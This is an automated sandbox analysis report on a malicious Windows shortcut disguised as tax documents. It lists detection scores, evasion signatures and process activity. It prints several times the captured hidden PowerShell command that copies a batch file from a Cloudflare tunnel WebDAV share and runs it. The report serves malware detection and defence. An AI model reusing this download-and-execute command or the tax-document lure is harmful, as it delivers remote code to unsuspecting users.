Windows Analysis Report
tax-docs-2023.download.lnk

Overview

General Information

Sample name:	tax-docs-2023.download.lnk
Analysis ID:	1542733
MD5:	ef01bbe1be58aa8563d24f49fce5ffed
SHA1:	7a5ae5e1bf74dc9d1ae400d5a8196c42964cd27b
SHA256:	d1f8936cae6da74dd8e0a4079ff6a4f737c35892b4b7f9c9fca2119c6d1e531d
Tags:	CloudflareTunnelsRATlnkuser-JAMESWT_MHT
Infos:

Detection

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Windows shortcut file (LNK) starts blacklisted processes

AI detected suspicious sample

Machine Learning detection for sample

Suspicious powershell command line found

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sigma detected: Suspicious Copy From or To System Directory

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Signatures

AV Detection

Multi AV Scanner detection for submitted file

Source: tax-docs-2023.download.lnk	ReversingLabs: Detection: 34%
Source: tax-docs-2023.download.lnk	Virustotal: Detection: 24%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.9% probability

Machine Learning detection for sample

Source: tax-docs-2023.download.lnk

Joe Sandbox ML: detected

Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbh source: powershell.exe, 00000005.00000002.1342882938.0000021E5F848000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbpdb source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbQ source: powershell.exe, 00000005.00000002.1342882938.0000021E5F8E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: lib.pdbpdblib.pdb source: powershell.exe, 00000005.00000002.1342882938.0000021E5F800000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA8A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdbI source: powershell.exe, 00000005.00000002.1342882938.0000021E5F800000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb B source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp

Source: powershell.exe, 00000005.00000002.1340065942.0000021E577A0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1320084365.0000021E49102000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1340065942.0000021E578E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.1320084365.0000021E48FB9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1320084365.0000021E48F6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.1320084365.0000021E47731000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.1320084365.0000021E48F6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000005.00000002.1320084365.0000021E48FB9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1320084365.0000021E48F6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000005.00000002.1320084365.0000021E47731000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000005.00000002.1340065942.0000021E578E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.1340065942.0000021E578E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.1340065942.0000021E578E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000005.00000002.1320084365.0000021E48FB9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1320084365.0000021E48F6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000005.00000002.1340065942.0000021E577A0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1320084365.0000021E49102000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1340065942.0000021E578E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000005.00000002.1320084365.0000021E48F6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000005.00000002.1320084365.0000021E48F6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX

Source: classification engine

Classification label: mal68.winLNK@2/5@0/0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kkqrkhp1.pc1.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: tax-docs-2023.download.lnk	ReversingLabs: Detection: 34%
Source: tax-docs-2023.download.lnk	Virustotal: Detection: 24%

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -c "Copy-Item '\\mixer-brake-tan-cleaner.trycloudflare.com@SSL\DavWWWRoot\bas.cmd' \"$env:USERPROFILE\Downloads\"; Start-Process \"$env:USERPROFILE\Downloads\bas.cmd\" -WindowStyle Hidden"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior

Source: tax-docs-2023.download.lnk

LNK file: ..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbh source: powershell.exe, 00000005.00000002.1342882938.0000021E5F848000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbpdb source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbQ source: powershell.exe, 00000005.00000002.1342882938.0000021E5F8E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: lib.pdbpdblib.pdb source: powershell.exe, 00000005.00000002.1342882938.0000021E5F800000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA8A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdbI source: powershell.exe, 00000005.00000002.1342882938.0000021E5F800000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb B source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -c "Copy-Item '\\mixer-brake-tan-cleaner.trycloudflare.com@SSL\DavWWWRoot\bas.cmd' \"$env:USERPROFILE\Downloads\"; Start-Process \"$env:USERPROFILE\Downloads\bas.cmd\" -WindowStyle Hidden"

Uses code obfuscation techniques (call, push, ret)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 5_2_00007FFE7DF200BD pushad ; iretd

5_2_00007FFE7DF200C1

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Contains long sleeps (>= 3 min)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4363			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4790			Jump to behavior

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7172	Thread sleep time: -4611686018427385s >= -30000s			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1380	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Enables debug privileges

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w hidden -c "copy-item '\\mixer-brake-tan-cleaner.trycloudflare.com@ssl\davwwwroot\bas.cmd' \"$env:userprofile\downloads\"; start-process \"$env:userprofile\downloads\bas.cmd\" -windowstyle hidden"

Queries the volume information (name, serial number etc) of a device

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Screenshots

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Network Map

⊘No contacted IP infos

Name	Type	MD5	SHA1	SHA256
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	data	3EBBEC2F920D055DAC842B4FF84448FA	52D2AD86C481FAED6187FC7E6655C5BD646CA663	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
